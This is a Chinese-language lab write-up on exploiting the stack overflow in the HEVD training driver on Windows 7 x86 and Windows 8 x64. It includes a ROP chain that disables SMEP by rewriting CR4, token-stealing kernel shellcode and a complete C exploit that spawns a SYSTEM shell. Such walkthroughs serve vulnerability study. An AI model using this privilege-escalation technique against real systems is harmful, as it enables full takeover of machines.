一、环境准备
Win 10 64位 主机 + win 7 32位虚拟机
Win 10 64位 主机 + win 8 64位虚拟机
Windbg:调试器
VirtualKD-3.0:双击调试工具
InstDrv:驱动安装,运行工具
HEVD:一个Windows内核漏洞训练项目,里面几乎涵盖了内核可能存在的所有漏洞类型,非常适合我们熟悉理解Windows内核漏洞的原理,利用技巧等等
二、win7 x86 环境
win7 x86下比较简单,这里简单过一下
先看下代码:
#define BUFFER_SIZE 512
NTSTATUS TriggerStackOverflow(IN PVOID UserBuffer, IN SIZE_T Size) {
NTSTATUS Status = STATUS_SUCCESS;
ULONG KernelBuffer[BUFFER_SIZE] = {0};
PAGED_CODE();
__try {
// Verify if the buffer resides in user mode
ProbeForRead(UserBuffer, sizeof(KernelBuffer), (ULONG)__alignof(KernelBuffer));
DbgPrint("[+] UserBuffer: 0x%p\n", UserBuffer);
……
#ifdef SECURE
RtlCopyMemory((PVOID)KernelBuffer, UserBuffer, sizeof(KernelBuffer));
#else
DbgPrint("[+] Triggering Stack Overflow\n");
// Vulnerability Note: This is a vanilla Stack based Overflow vulnerability
RtlCopyMemory((PVOID)KernelBuffer, UserBuffer, Size);
#endif
}
__except (EXCEPTION_EXECUTE_HANDLER) {
Status = GetExceptionCode();
DbgPrint("[-] Exception Code: 0x%X\n", Status);
}
return Status;
}
代码很简单,问题就出在这句上
RtlCopyMemory((PVOID)KernelBuffer, UserBuffer, Size);
KernelBuffer是函数内的变量,内容存放在栈上, 大小固定为512字节, UserBuffer 和Size是用户从ring3层传入得值,大小可人为控制,当传入得 UserBuffer 和Size过大时,就会超过KernelBuffer的空间,覆盖到函数返回地址。
实际跟踪调试可知,从KernelBuffer起始开始覆盖数据, 偏移2080自节后开始覆盖 返回地址。
#define JUNK_SIZE 2080
#define TOAL_SIZE 2080 + 4
char payload[TOAL_SIZE] = { 0 };
char junk_pay[JUNK_SIZE] = { 'A' };
char ret_addr[5] = { 0 };
memset(junk_pay, 'A', JUNK_SIZE);
memset(ret_addr, 'B', 5);
memcpy(payload, junk_pay, JUNK_SIZE);
memcpy(payload + JUNK_SIZE, ret_addr, 4);
//*((int*)((char*)payload + JUNK_SIZE)) = (int)pShellcodeBuf;
RtlCopyMemory(uBuffer, payload, TOAL_SIZE);
DWORD bytesRet;
BOOL bof = DeviceIoControl(device, /* handler for open driver */
STACK_IOCTL, /* IOCTL for the stack overflow */
uBuffer, /* our user buffer with shellcode/retAddr */
TOAL_SIZE,
NULL, /* no buffer for the driver to write back to */
0, /* above buffer of size 0 */
&bytesRet, /* dump variable for byte returned */
NULL); /* ignore overlap */
测试程序,覆盖2080个A, 后面紧接着用B覆盖返回地址。
Windbg下断点 bp HEVD!TriggerStackOverflow
运行程序,调试观察。程序停在TriggerStackOverflow函数入口处, 返回地址为96b3e980
P 运行程序,当执行RtlCopyMemory((PVOID)KernelBuffer, UserBuffer, Size);后,函数的返回地址被覆盖, 42424242 也就是BBBB。
剩下的就简单了,我们只需要将BBBB替换成shellcode的地址就行了。部分代码如下:
// Set the DeleteProcedure to the address of our payload
int shellcode_len = sizeof(shellcode);
char *pShellcodeBuf = (char*)VirtualAlloc(NULL, shellcode_len, MEM_RESERVE| MEM_COMMIT, PAGE_EXECUTE_READWRITE);
RtlMoveMemory(pShellcodeBuf, shellcode, shellcode_len);
printf("ShellcodeBuf :%x\n", pShellcodeBuf);
char payload[TOAL_SIZE] = { 0 };
char junk_pay[JUNK_SIZE] = { 'A' };
char ret_addr[5] = { 0 };
memset(junk_pay, 'A', JUNK_SIZE);
memset(ret_addr, 'B', 5);
memcpy(payload, junk_pay, JUNK_SIZE);
*((int*)((char*)payload + JUNK_SIZE)) = (int)pShellcodeBuf;
RtlCopyMemory(uBuffer, payload, TOAL_SIZE);
运行结果如下:
三、Win8 x64环境
在Windows 8及更高版本上已经部署了一种新的缓解措施,可以阻止使用这种方法exploit。管理模式执行保护(Superior Mode Execution Prevention)基本上是ring0版的DEP。它防止CPU以比当前更低的权限级别(或更高的ring级别)执行指令。换句话说,当在内核模式中运行时,处理器将不会执行映射到用户空间内存中的指令。
1、遇到的坑
在介绍SMEP绕过之前,我先讲下我遇到的坑。第一要确定自己的cpu是否支持SMEP。
一开始在win8.x x64上测试SMEP时,我没有使用绕过技术,但是shellcode一直能正常执行,让我很是纳闷,作为小白不知如何是好,后来经过多方查找资料,才知道时cpu的问题(谁让咱穷呢)。
换了台机器后,再测试,发现还是没有smep保护,不知道啥原因,重新装了win10x64的虚拟机,发现支持smep了,猜测可能自己下的win8的系统有问题,于是又下了个更新的win8,发现支持smep了,终于可以开心的研究技术了。
如何判断我们的系统是否开启smep呢。 Windows提供了一款工具coreinfo.exe
不支持smep(是-):
支持smep(是*):
2、smep技术介绍
smep是一种内核保护机制,由cr4寄存器的smep位控制,该位为1时,保护开启,该位为0时保护关闭。
既然是寄存器控制保护的开启与关闭,是不是很像ring3层的dep,我们就可以通过控制cr4寄存器的值来关闭该保护机制。
我们实际跟踪下看下smep是什么情况。在我们构造shellcode覆盖堆栈后,执行到RtlCopyMemory((PVOID)KernelBuffer, UserBuffer, Size)后,在TriggerStackOverflow()返回前,我们看下cr4的值。
kd> r cr4
cr4=00000000001506f8
第20位smep标识为1, 保护机制开启,如果在继续执行,系统就会蓝屏。
3、Smep绕过
我们如何绕过,类似dep,我们在执行shellcode之前,先修改cr4将其smep位写0。这就需要rop技术。
首先我们需要在内核中找到mov cr4, xxx; ret之类的的代码。
我们将ntoskrnl.exe用ida打开。搜索 mov cr4
结果为mov cr4,rcx; retn。
我们还需要一条控制rcx值的语句(pop rcx)
同样搜索pop rcx
这两条语句在ntoskrnl.exe中的偏移分别为8655A,7db64
Windbg中查看对应位置,正是我们需要的。
kd> dd nt
fffff801`7621c000 00905a4d 00000003 00000004 0000ffff
fffff801`7621c010 000000b8 00000000 00000040 00000000
gadgets1:
kd> u nt+7db64
nt!KeRemoveQueueDpcEx+0xac:
fffff801`76299b64 59 pop rcx
fffff801`76299b65 c3 ret
gadgets2:
kd> u nt+8655A
nt!KiFlushCurrentTbWorker+0x12:
fffff801`762a255a 0f22e1 mov cr4,rcx
fffff801`762a255d c3 ret
之前win7的时候,我们返回地址直接覆盖的是shellcode地址, 到了win8 x64这里我们将其覆盖为gadgets1的地址。
构造栈数据如下:
我们简单跟踪下:
在我们执行完RtlCopyMemory((PVOID)KernelBuffer, UserBuffer, Size)后,
栈上的返回地址已经被覆盖,值为fffff802cb2f6b64
Bp fffff802cb2f6b64下断点
此时cr4的值已经改变
kd> r cr4
cr4=00000000000406f8
再单步执行就进入我们的shellcode中。
4、有关shellcode构造调试:
我首先网上随便找了个shellcode
mov rax, gs:[188h] ;Kprcb.Kpthread
mov rax, [rax+220h] ;process
mov rcx, rax ; keep copy value
mov rdx, 4 ; system PID
findSystemPid:
mov rax, [rax+2e8h] ; ActiveProcessLinks : _LIST_ENTRY
sub rax, 2e8h
cmp [rax+2e0h], rdx
jnz findSystemPid
; 替换Token
mov rdx, [rax+348h] ; get system token
mov [rcx+348h], rdx ; copy
ret
当然我在实际用的时候,直接蓝屏了。
下面我们就通过调试将这个shellcode,改造成可用的。
通过跟踪你会知道,这shellcode之所以会蓝屏,是堆栈不平衡问题,由于函数没有正常返回,导致shellcode执行完,直接飞了。
我们回归程序,shellcode所在的函数上层函数是StackOverflowIoctlHandler()
函数在返回前,执行了add rsp, 28h。
所以我们要堆栈平衡,也需要rsp增加,加多少呢,总共要加28h
但是我们已经先执行了rop链, pop rcx, ret, ret 已经使rsp增加了3*8=24=18h
所以我们还需要增加28h-18h=10h
我们修改下shellcode
mov rax, gs:[188h] ;Kprcb.Kpthread
mov rax, [rax+220h] ;process
mov rcx, rax ; keep copy value
mov rdx, 4 ; system PID
findSystemPid:
mov rax, [rax+2e8h] ; ActiveProcessLinks : _LIST_ENTRY
sub rax, 2e8h
cmp [rax+2e0h], rdx
jnz findSystemPid
; 替换Token
mov rdx, [rax+348h] ; get system token
mov [rcx+348h], rdx ; copy
;根据实际环境调整
add rsp,10h
ret
我们再次运行,发现shellcode可以正常执行完毕,但是系统还是蓝屏了。What???
再次跟踪,寻找原因,定位到异常原因
rbx的值指向irp,此时其值为
kd> r rbx
rbx=00000000000406f8
所以执行到这里会蓝屏,我们需要在shellcode中恢复irp的值,保证后续能够正常执行。
下断点
bp HEVD!IrpDeviceIoCtlHandler
bp HEVD!TriggerStackOverflow
irp从函数IrpDeviceIoCtlHandler传入,程序进入该函数时,查看堆栈
kd> dd rsp
ffffd001`7e679778 cb663c0f fffff802 00000000 00000000
ffffd001`7e679788 7e679a80 ffffd001 f0840ee0 ffffe000
f0840ee0 ffffe000值对应的就是irp的值,地址为ffffd001`7e679790
程序进入shellcode时,我们在看下rsp的值为ffffd001`7e679738
kd> dd rsp
ffffd001`7e679738 7e679a01 ffffd001 00222003 00000000
ffffd001`7e679748 19827335 fffff800 198287a0 fffff800
ffffd001`7e679790- ffffd001`7e679738=58h
即irp在rsp上方偏移58h处(也没有被覆盖)
由于irp的存在rbx中,所以需要执行mov rbx, [rsp+58h]来恢复irp。
最后shellcode为
;for win8 x64
.code
shellCode proc
; shellcode
mov rax, gs:[188h] ;Kprcb.Kpthread
mov rax, [rax+220h] ;process
mov rcx, rax ; keep copy value
mov rdx, 4 ; system PID
findSystemPid:
mov rax, [rax+2e8h] ; ActiveProcessLinks : _LIST_ENTRY
sub rax, 2e8h
cmp [rax+2e0h], rdx
jnz findSystemPid
; 替换Token
mov rdx, [rax+348h] ; get system token
mov [rcx+348h], rdx ; copy
;根据实际环境调整
mov rbx, [rsp+58h] ;restore IRP
add rsp,10h
;xor rax, rax ;NTSTATUS Status = STATUS_SUCCESS
ret
shellCode endp
end
(构造shellcode时,要根据具体情况调整代码)
结果如下:
附代码:(shellcode在shellCode.asm文件中):
#include <windows.h>
#include <winioctl.h>
#include <stdio.h>
#include <stdint.h>
#include "shellCode.h"
/*
HEVD Windows Driver Exploit for the Stack Buffer Overflow
*/
#ifdef _WIN64
#define RETLEN 8
#define JUNK_SIZE 2056
#define TOAL_SIZE JUNK_SIZE + 8*4
//gadgets1(pop rcx ret) + 406f8 + gadgets2(mov cr4,crx ret) + shellcodeAddr
#else
#define RETLEN 4
#define JUNK_SIZE 2080
#define TOAL_SIZE 2080 + 8
#endif
#define SHELLCODE_LEN 61
#define STACK_IOCTL 0x222003
#define DRIVER_PATH "\\\\.\\HackSysExtremeVulnerableDriver"
//对应的函数名声明在shellCode文件中;
//win x64 不支持嵌入式汇编,需要单独存放;
extern "C" void shellCode();
typedef enum _SYSTEM_INFORMATION_CLASS {
SystemBasicInformation = 0,
SystemPerformanceInformation = 2,
SystemTimeOfDayInformation = 3,
SystemProcessInformation = 5,
SystemProcessorPerformanceInformation = 8,
SystemModuleInformation = 11,
SystemInterruptInformation = 23,
SystemExceptionInformation = 33,
SystemRegistryQuotaInformation = 37,
SystemLookasideInformation = 45
} SYSTEM_INFORMATION_CLASS;
typedef struct _SYSTEM_MODULE_INFORMATION_ENTRY {
HANDLE Section;
PVOID MappedBase;
PVOID ImageBase;
ULONG ImageSize;
ULONG Flags;
USHORT LoadOrderIndex;
USHORT InitOrderIndex;
USHORT LoadCount;
USHORT OffsetToFileName;
UCHAR FullPathName[256];
} SYSTEM_MODULE_INFORMATION_ENTRY, *PSYSTEM_MODULE_INFORMATION_ENTRY;
typedef struct _SYSTEM_MODULE_INFORMATION {
ULONG NumberOfModules;
SYSTEM_MODULE_INFORMATION_ENTRY Module[1];
} SYSTEM_MODULE_INFORMATION, *PSYSTEM_MODULE_INFORMATION;
typedef struct _ROP {
PUCHAR PopRcxRet;
PUCHAR Cr4RegValue;
PUCHAR MovCr4EcxRet;
} ROP, *PROP;
typedef NTSTATUS(NTAPI *_NtQuerySystemInformation)(
SYSTEM_INFORMATION_CLASS SystemInformationClass,
PVOID SystemInformation,
ULONG SystemInformationLength,
PULONG ReturnLength
);
__int64* GetKernelBase()
{
DWORD len;
PSYSTEM_MODULE_INFORMATION ModuleInfo;
__int64 *kernelBase = NULL;
_NtQuerySystemInformation NtQuerySystemInformation = (_NtQuerySystemInformation)
GetProcAddress(GetModuleHandle("ntdll.dll"), "NtQuerySystemInformation");
if (NtQuerySystemInformation == NULL) {
return NULL;
}
NtQuerySystemInformation(SystemModuleInformation, NULL, 0, &len);
ModuleInfo = (PSYSTEM_MODULE_INFORMATION)VirtualAlloc(NULL, len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
if (!ModuleInfo)
{
return NULL;
}
NtQuerySystemInformation(SystemModuleInformation, ModuleInfo, len, &len);
kernelBase = (__int64*)ModuleInfo->Module[0].ImageBase;
VirtualFree(ModuleInfo, 0, MEM_RELEASE);
return kernelBase;
}
void main() {
LPVOID uBuffer = VirtualAlloc(NULL,
TOAL_SIZE,
MEM_COMMIT | MEM_RESERVE,
PAGE_EXECUTE_READWRITE);
if (!uBuffer) {
printf("Error allocating the user buffer\n");
exit(1);
}
char payload[TOAL_SIZE] = { 0 };
char junk_pay[JUNK_SIZE] = { 'A' };
memset(junk_pay, 'A', JUNK_SIZE);
memcpy(payload, junk_pay, JUNK_SIZE);
#ifdef _WIN64
__int64 pKernelAddr = (__int64)GetKernelBase();
printf("KernelAddr = %I64x\n", pKernelAddr);
*((__int64*)((char*)payload + JUNK_SIZE)) = (__int64)(pKernelAddr + 0x7db64); //pop rcx ret
*((__int64*)((char*)payload + JUNK_SIZE + 8)) = 0x406f8;
*((__int64*)((char*)payload + JUNK_SIZE + 8 + 8)) = (__int64)(pKernelAddr + 0x8655A); //mov cr4 rcx , ret
*((__int64*)((char*)payload + JUNK_SIZE + 8 + 8 +8)) = (__int64)shellCode;
#else
char shellcode[] =
/* --- Setup --- */
"\x60" // pushad
"\x64\xA1\x24\x01\x00\x00" // mov eax, fs:[KTHREAD_OFFSET]
"\x8B\x40\x50" // mov eax, [eax + EPROCESS_OFFSET]
"\x89\xC1" // mov ecx, eax (Current _EPROCESS structure)
"\x8B\x98\xF8\x00\x00\x00" // mov ebx, [eax + TOKEN_OFFSET]
/* --- Copy System token */
"\xBA\x04\x00\x00\x00" // mov edx, 4 (SYSTEM PID)
"\x8B\x80\xB8\x00\x00\x00" // mov eax, [eax + FLINK_OFFSET]
"\x2D\xB8\x00\x00\x00" // sub eax, FLINK_OFFSET
"\x39\x90\xB4\x00\x00\x00" // cmp [eax + PID_OFFSET], edx
"\x75\xED" // jnz
"\x8B\x90\xF8\x00\x00\x00" // mov edx, [eax + TOKEN_OFFSET]
"\x89\x91\xF8\x00\x00\x00" // mov [ecx + TOKEN_OFFSET], edx
/* --- Cleanup --- */
"\x61" // popad
"\x31\xC0" // NTSTATUS -> STATUS_SUCCESS
"\x5D" // pop ebp
"\xC2\x08\x00"; // ret 8
// Set the DeleteProcedure to the address of our payload
int shellcode_len = sizeof(shellcode);
__int64 *pShellcodeBuf = (__int64*)VirtualAlloc(NULL, shellcode_len, MEM_RESERVE| MEM_COMMIT, PAGE_EXECUTE_READWRITE);
RtlMoveMemory(pShellcodeBuf, shellcode, shellcode_len);
printf("ShellcodeBuf = %I64x\n", pShellcodeBuf);
*((int*)((char*)payload + JUNK_SIZE)) = (int)pShellcodeBuf;
#endif
RtlCopyMemory(uBuffer, payload, TOAL_SIZE);
HANDLE device = CreateFileA(DRIVER_PATH,
GENERIC_READ | GENERIC_WRITE,
0,
NULL,
OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL | FILE_FLAG_OVERLAPPED,
NULL);
if (device == INVALID_HANDLE_VALUE) {
printf("[!] Error opening the driver\n");
exit(1);
}
DWORD bytesRet;
BOOL bof = DeviceIoControl(device, /* handler for open driver */
STACK_IOCTL, /* IOCTL for the stack overflow */
uBuffer, /* our user buffer with shellcode/retAddr */
TOAL_SIZE,
NULL, /* no buffer for the driver to write back to */
0, /* above buffer of size 0 */
//&bytesRet, /* dump variable for byte returned */
NULL,
NULL); /* ignore overlap */
/* check if the device IO sent fine! */
if (!bof) {
printf("[!] Error with DeviceIoControl: %d\n", GetLastError());
//exit(1);
}
else {
printf("[*] Success!! Enjoy your shell!\n");
}
/* pop a shell! */
system("cmd.exe");
}